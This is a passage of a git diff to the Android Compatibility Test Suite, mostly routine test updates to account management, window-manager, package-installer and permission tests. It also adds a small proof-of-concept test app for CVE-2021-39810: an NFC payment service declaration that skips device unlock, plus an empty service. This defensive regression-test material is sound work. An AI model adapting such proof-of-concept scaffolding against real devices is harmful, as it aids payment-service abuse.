+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:requireDeviceUnlock="false">
+ <aid-group android:category="payment">
+ <aid-filter android:name="325041592E5359532E4444463031" />
+ </aid-group>
+</host-apdu-service>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
new file mode 100644
index 0000000..e8e2085
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39810;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+}
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521..161a887 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba741..1fdeb9e 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -32,4 +32,8 @@
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="hidden-api-checks" value="false"/>
</test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
</configuration>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 9c5938e..1b1eb9c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,6 +16,8 @@
package android.devicepolicy.cts;
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
import static com.android.queryable.queries.ServiceQuery.service;
@@ -25,7 +27,6 @@
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
import android.accounts.OperationCanceledException;
import android.app.admin.RemoteDevicePolicyManager;
import android.content.ComponentName;
@@ -49,13 +50,10 @@
import org.junit.Before;
import org.junit.ClassRule;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
-
@RunWith(BedsteadJUnit4.class)
public final class AccountManagementTest {
@ClassRule
@@ -158,78 +156,64 @@
assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
- // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
- // .isEqualTo(EXISTING_ACCOUNT_TYPE);
+ assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+ .isEqualTo(EXISTING_ACCOUNT_TYPE);
} finally {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
- // TODO(b/197491427): AccountManager support in TestApp
- // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
}
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+ mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
- //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
- // .isEqualTo(EXISTING_ACCOUNT_TYPE);
+ assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+ .isEqualTo(EXISTING_ACCOUNT_TYPE);
} finally {
- mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
- // TODO(b/197491427): AccountManager support in TestApp
- // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+ mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
}
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // addAccountWithType(EXISTING_ACCOUNT_TYPE);
- // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+ addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+ Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
- // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+ assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
} finally {
mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
}
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
- public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -241,17 +225,16 @@
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException,
- InterruptedException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
assertThrows(OperationCanceledException.class, () ->
- removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+ removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
} finally {
// Account is automatically removed when the test app is removed
mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -259,7 +242,7 @@
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_withAccountManagementDisabled_throwsException() {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
@@ -273,17 +256,16 @@
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_withAccountManagementDisabled_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException,
- InterruptedException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
assertThrows(OperationCanceledException.class, () ->
- removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+ removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
} finally {
// Account is automatically removed when the test app is removed
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
@@ -293,14 +275,25 @@
/**
* Blocks until an account of {@code type} is added.
*/
- // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
- private Bundle addAccountWithType(String type) {
+ // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+ private Bundle addAccountFromInstrumentedAppWithType(String type) {
return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
.toNotBeNull()
.errorOnFail()
.await();
}
+ /**
+ * Blocks until an account of {@code type} is added.
+ */
+ // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+ private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+ return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+ .toNotBeNull()
+ .errorOnFail()
+ .await();
+ }
+
private Bundle addAccountWithTypeOnce(String type) throws Exception {
return mAccountManager.addAccount(
type,
@@ -312,13 +305,23 @@
/* handler= */ null).getResult();
}
+ private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+ throws Exception {
+ return testApp.accountManager().addAccount(
+ type,
+ /* authTokenType= */ null,
+ /* requiredFeatures= */ null,
+ /* addAccountOptions= */ null,
+ /* activity= */ null,
+ /* callback= */ null,
+ /* handler= */ null).getResult();
+ }
+
/**
* Blocks until {@code account} is removed.
*/
- // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
- private Bundle removeAccount(Account account)
- throws OperationCanceledException, IOException,
- InterruptedException, AuthenticatorException {
+ private Bundle removeAccountFromInstrumentedApp(Account account)
+ throws Exception {
return mAccountManager.removeAccount(
account,
/* activity= */ null,
@@ -326,4 +329,17 @@
/* handler= */ null)
.getResult();
}
+
+ /**
+ * Blocks until {@code account} is removed.
+ */
+ private Bundle removeAccount(TestAppInstance testApp, Account account)
+ throws Exception {
+ return testApp.accountManager().removeAccount(
+ account,
+ /* activity= */ null,
+ /* callback= */ null,
+ /* handler= */ null)
+ .getResult();
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 74ef09e..6190316 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -63,6 +63,7 @@
import android.server.wm.CommandSession.ActivitySessionClient;
import android.server.wm.app.Components;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
@@ -599,6 +600,7 @@
}
@Test
+ @Ignore("Unable to disable AOD for some devices")
public void testTurnScreenOnWithAttr_Freeform() {
assumeTrue(supportsLockScreen());
assumeTrue(supportsFreeform());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 8360e97..4f03eb2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -363,6 +363,9 @@
public void testTranslucentAppOrientationRequests() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ // Disable fixed to user rotation by creating a rotation session
+ createManagedRotationSession();
+
separateTestJournal();
launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
final SizeInfo initialReportedSizes =
@@ -793,6 +796,9 @@
public void testTaskMoveToBackOrientation() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ // Disable fixed to user rotation by creating a rotation session
+ createManagedRotationSession();
+
// Start landscape activity.
launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 910f311..2fa3ec8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -284,7 +284,41 @@
waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
waitAndAssertActivityState(mActivityB, STATE_STOPPED,
"Activity B is occluded by Activity C, so it must be stopped.");
- waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
+ }
+
+ /**
+ * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+ * TaskFragments. It should be hidden even if part of it is not cover by the adjacent
+ * TaskFragment above.
+ */
+ @Test
+ public void testSandwichTaskFragmentInAdjacent_partialOccluding() {
+ // Initialize test environment by launching Activity A and B side-by-side.
+ initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+ final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+ // TaskFragment C is not fully occluding TaskFragment B.
+ final Rect partialOccludingSideBounds = new Rect(mSideBounds);
+ partialOccludingSideBounds.left += 50;
+ final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams(
+ mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW);
+ final IBinder taskFragTokenC = paramsC.getFragmentToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ // Create the side TaskFragment for C and launch
+ .createTaskFragment(paramsC)
+ .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+ null /* activityOptions */)
+ .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ // Wait for the TaskFragment of Activity C to be created.
+ mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+ waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+ waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+ "Activity B is occluded by Activity C, so it must be stopped.");
+ waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed.");
}
/**
@@ -502,7 +536,10 @@
public void testLaunchEmbeddedActivityWithShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B (with showWhenLocked)
// side-by-side.
initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
@@ -522,7 +559,10 @@
public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B side-by-side.
initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */);
@@ -542,7 +582,10 @@
public void testLaunchEmbeddedActivitiesWithShowWhenLocked() {
assumeTrue(supportsLockScreen());
+ // Create lock screen session and set credentials (since some devices will not show a
+ // lockscreen without credentials set).
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
+ lockScreenSession.setLockCredential();
// Initialize test environment by launching Activity A and B side-by-side.
mOwnerActivity.setShowWhenLocked(true);
initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */);
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead81..23e26e4 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
<configuration description="Config for CTS InputMethod test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5a..c5fce07 100644
--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 59fe44d..bb12c58 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -29,6 +29,7 @@
Bug: 206897736 android.intent.action.MANAGE_PERMISSION_USAGE
Bug: 206897736 android.intent.action.VIEW_APP_FEATURES
Bug: 209528070 android.intent.action.APPLICATION_LOCALE_CHANGED
+ Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
-->
<dynamicConfig>
<entry key ="intent_whitelist">
@@ -46,5 +47,6 @@
<value>android.intent.action.MANAGE_PERMISSION_USAGE</value>
<value>android.intent.action.VIEW_APP_FEATURES</value>
<value>android.intent.action.APPLICATION_LOCALE_CHANGED</value>
+ <value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
</entry>
</dynamicConfig>
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00..b1e5966 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@
@Test
fun ensurePhoneCallOpsRestricted() {
- assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+ val pm = mContext.packageManager
+ assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+ pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+ pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
null, null)
assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
index ed0ac34..7f588e4 100644
--- a/tests/tests/content/TEST_MAPPING
+++ b/tests/tests/content/TEST_MAPPING
@@ -1,6 +1,19 @@
{
"presubmit": [
{
+ "name": "FrameworksCoreTests",
+ "options": [
+ {
+ "include-filter": "android.content.pm.PackageManagerTests"
+ },
+ {
+ "exclude-annotation": "androidx.test.filters.Suppress"
+ }
+ ]
+ }
+ ],
+ "presubmit-large": [
+ {
"name": "CtsContentTestCases",
"options": [
{
@@ -13,17 +26,6 @@
"include-filter": "android.content.pm.cts"
}
]
- },
- {
- "name": "FrameworksCoreTests",
- "options": [
- {
- "include-filter": "android.content.pm.PackageManagerTests"
- },
- {
- "exclude-annotation": "androidx.test.filters.Suppress"
- }
- ]
}
]
}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index 3d967d7..df40ea9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -28,12 +28,25 @@
import android.app.UiAutomation;
import android.content.ComponentName;
import android.content.Context;
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.content.pm.ApkChecksum;
+import android.content.pm.ApplicationInfo;
import android.content.pm.DataLoaderParams;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageInstaller.SessionParams;
import android.content.pm.PackageManager;
import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.IBinder;
import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.os.RemoteException;
+import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
import androidx.test.InstrumentationRegistry;
@@ -57,6 +70,10 @@
import java.util.Arrays;
import java.util.Optional;
import java.util.Random;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BiConsumer;
import java.util.stream.Collectors;
@RunWith(Parameterized.class)
@@ -154,6 +171,15 @@
}
}
+ private static void writeFileToSession(PackageInstaller.Session session, String name,
+ String apk) throws IOException {
+ File file = new File(createApkPath(apk));
+ try (OutputStream os = session.openWrite(name, 0, file.length());
+ InputStream is = new FileInputStream(file)) {
+ writeFullStream(is, os, file.length());
+ }
+ }
+
@Before
public void onBefore() throws Exception {
// Check if Incremental is allowed and revert to non-dataloader installation.
@@ -482,6 +508,78 @@
}
@Test
+ public void testDontKillWithSplit() throws Exception {
+ installPackage(TEST_HW5);
+
+ getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ final PackageInstaller installer = getPackageInstaller();
+ final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+ params.setAppPackageName(TEST_APP_PACKAGE);
+ params.setDontKillApp(true);
+
+ final int sessionId = installer.createSession(params);
+ PackageInstaller.Session session = installer.openSession(sessionId);
+ assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+ writeFileToSession(session, "hw5_split0", TEST_HW5_SPLIT0);
+
+ final CompletableFuture<Boolean> result = new CompletableFuture<>();
+ session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+ @Override
+ public void send(int code, Intent intent, String resolvedType,
+ IBinder whitelistToken, IIntentReceiver finishedReceiver,
+ String requiredPermission, Bundle options) throws RemoteException {
+ boolean dontKillApp =
+ (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+ result.complete(dontKillApp);
+ }
+ }));
+
+ // We are adding split. OK to have the flag.
+ assertTrue(result.get());
+ } finally {
+ getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
+ public void testDontKillRemovedWithBaseApk() throws Exception {
+ installPackage(TEST_HW5);
+
+ getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ final PackageInstaller installer = getPackageInstaller();
+ final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+ params.setAppPackageName(TEST_APP_PACKAGE);
+ params.setDontKillApp(true);
+
+ final int sessionId = installer.createSession(params);
+ PackageInstaller.Session session = installer.openSession(sessionId);
+ assertTrue((session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0);
+
+ writeFileToSession(session, "hw7", TEST_HW7);
+
+ final CompletableFuture<Boolean> result = new CompletableFuture<>();
+ session.commit(new IntentSender((IIntentSender) new IIntentSender.Stub() {
+ @Override
+ public void send(int code, Intent intent, String resolvedType,
+ IBinder whitelistToken, IIntentReceiver finishedReceiver,
+ String requiredPermission, Bundle options) throws RemoteException {
+ boolean dontKillApp =
+ (session.getInstallFlags() & PackageManager.INSTALL_DONT_KILL_APP) != 0;
+ result.complete(dontKillApp);
+ }
+ }));
+
+ // We are updating base.apk. Flag to be removed.
+ assertFalse(result.get());
+ } finally {
+ getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
+
+ @Test
public void testDataLoaderParamsApiV1() throws Exception {
if (!mStreaming) {
return;
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
index 6b0fc7f..5ef9e7f 100755
--- a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
@@ -259,6 +259,7 @@
MediaCodec decoder = null;
OutputSurface outputSurface = null;
VirtualDisplay virtualDisplay = null;
+ ColorSlideShow slideShow = null;
try {
encoder = MediaCodec.createByCodecName(mEncoderName);
@@ -279,13 +280,19 @@
// Run the color slide show on a separate thread.
mInputDone = false;
- new ColorSlideShow(virtualDisplay.getDisplay()).start();
+ slideShow = new ColorSlideShow(virtualDisplay.getDisplay());
+ slideShow.start();
// Record everything we can and check the results.
doTestEncodeVirtual(encoder, decoder, outputSurface);
} finally {
if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
+ if (slideShow != null) {
+ try {
+ slideShow.join();
+ } catch (InterruptedException ignore) {}
+ }
if (virtualDisplay != null) {
virtualDisplay.release();
}
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index 5291752..fc4df13 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@
@Before
public void setUp() {
boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
- && ApiLevelUtil.isAtMost(VERSION_CODES.S));
- Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+ && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+ Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
}
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 4117a78..d6ce2e1 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -435,11 +435,6 @@
android:label="@string/car_permission_label_collect_car_watchdog_metrics"
android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
- <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
- android:protectionLevel="signature|privileged"
- android:label="@string/car_permission_label_use_telemetry_service"
- android:description="@string/car_permission_desc_use_telemetry_service"/>
-
<permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
android:protectionLevel="signature|privileged"
android:label="@string/car_permission_label_control_evs_activity"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 35ed018..3b20f6d 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -67,6 +67,9 @@
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
